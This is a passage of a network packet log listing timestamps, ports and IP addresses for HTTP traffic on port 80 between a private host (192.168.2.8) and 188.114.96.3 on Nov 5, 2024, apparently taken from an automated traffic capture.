Nov 5, 2024 12:43:37.449631929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449645996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449672937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449685097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449695110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449707031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449708939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449719906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449727058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449752092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449799061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449810982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449826002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449835062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449836969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449850082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449857950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449884892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449933052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449944973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449954987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449965000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449969053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.449979067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.449994087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450015068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450078011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450090885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450100899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450114012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450133085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450165987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450181007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450191021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450201035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450201035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450213909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450223923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450226068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450248957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450300932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450323105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450334072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450335979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450346947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450356007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450357914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450370073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450375080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450376034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450398922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450422049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450484991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450500965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450512886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450522900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450531960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450550079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450558901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450567007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450573921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450589895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450618029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450683117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450694084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450705051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450716019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450719118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450726986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450728893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450740099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450751066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450752020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450761080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450769901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450798988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450817108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450835943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450846910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450854063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450875044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.450952053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450963974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450974941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.450989008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451011896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451088905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451101065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451111078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451122046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451126099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451134920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451143980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451147079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451155901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451169014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451178074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451200008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451236963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451247931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451257944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451276064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451277018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451289892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451296091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451306105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451317072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451324940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451330900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451335907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451343060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451349974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451359034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451374054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451406002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451442003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451442003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451452971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451474905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451488972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451536894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451601982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451622009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451639891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451658964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451662064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451675892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451678038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451688051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451693058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451700926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451710939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451713085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451721907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451725960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451738119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451751947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451764107 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451900005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451910973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451920986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451934099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451934099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451945066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451952934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451956987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451967001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451977015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451977015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.451988935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.451992989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452001095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452007055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452013969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452024937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452033043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452059984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452064037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452078104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452088118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452095985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452119112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452183008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452194929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452205896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452214956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452218056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452228069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452236891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452238083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452251911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452260017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452270985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452270985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452281952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452287912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.452292919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.452320099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.477992058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478003979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478014946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478054047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478070021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478081942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478085041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478096008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478107929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478108883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478123903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478126049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478148937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478168964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478174925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478188038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478205919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.478210926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.478236914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.481904984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.481916904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.481929064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.481966019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.481967926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.481986046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.481993914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482007027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482014894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482026100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482033014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482039928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482048035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482052088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482064009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482068062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482078075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482081890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482105970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482126951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482153893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482192039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482263088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482274055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482294083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482296944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482306957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482311010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482320070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482322931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482345104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482359886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482387066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482398987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482423067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482424021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482435942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482436895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482450008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482454062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482464075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482470036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482484102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482500076 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482544899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482558012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482569933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482580900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482580900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482593060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482606888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482628107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482631922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482671022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482683897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482696056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482722998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482855082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482867956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482881069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482892036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482894897 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482906103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482909918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482919931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482935905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482950926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.482964039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482975960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482988119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.482999086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483016968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483021021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483028889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483036995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483048916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483055115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483062983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483068943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483084917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483094931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483098030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483108997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483120918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483129978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483145952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483159065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483176947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483189106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483208895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483217955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483221054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483227968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483236074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483239889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483248949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483254910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483273029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483282089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483325005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483336926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483349085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483385086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483392000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483405113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483416080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483480930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483489990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483500004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483510971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483522892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483535051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483537912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483556032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483575106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483661890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483675957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483688116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483699083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483699083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483711004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.483715057 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483733892 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.483756065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.522984028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.523087978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.523128986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.523144007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.523155928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.523175001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.523201942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.527667046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.527683020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.527697086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.527740955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.527756929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.564960957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.564985991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565002918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565023899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565025091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.565035105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.565042019 CET	49711	80	192.168.2.8	188.114.96.3
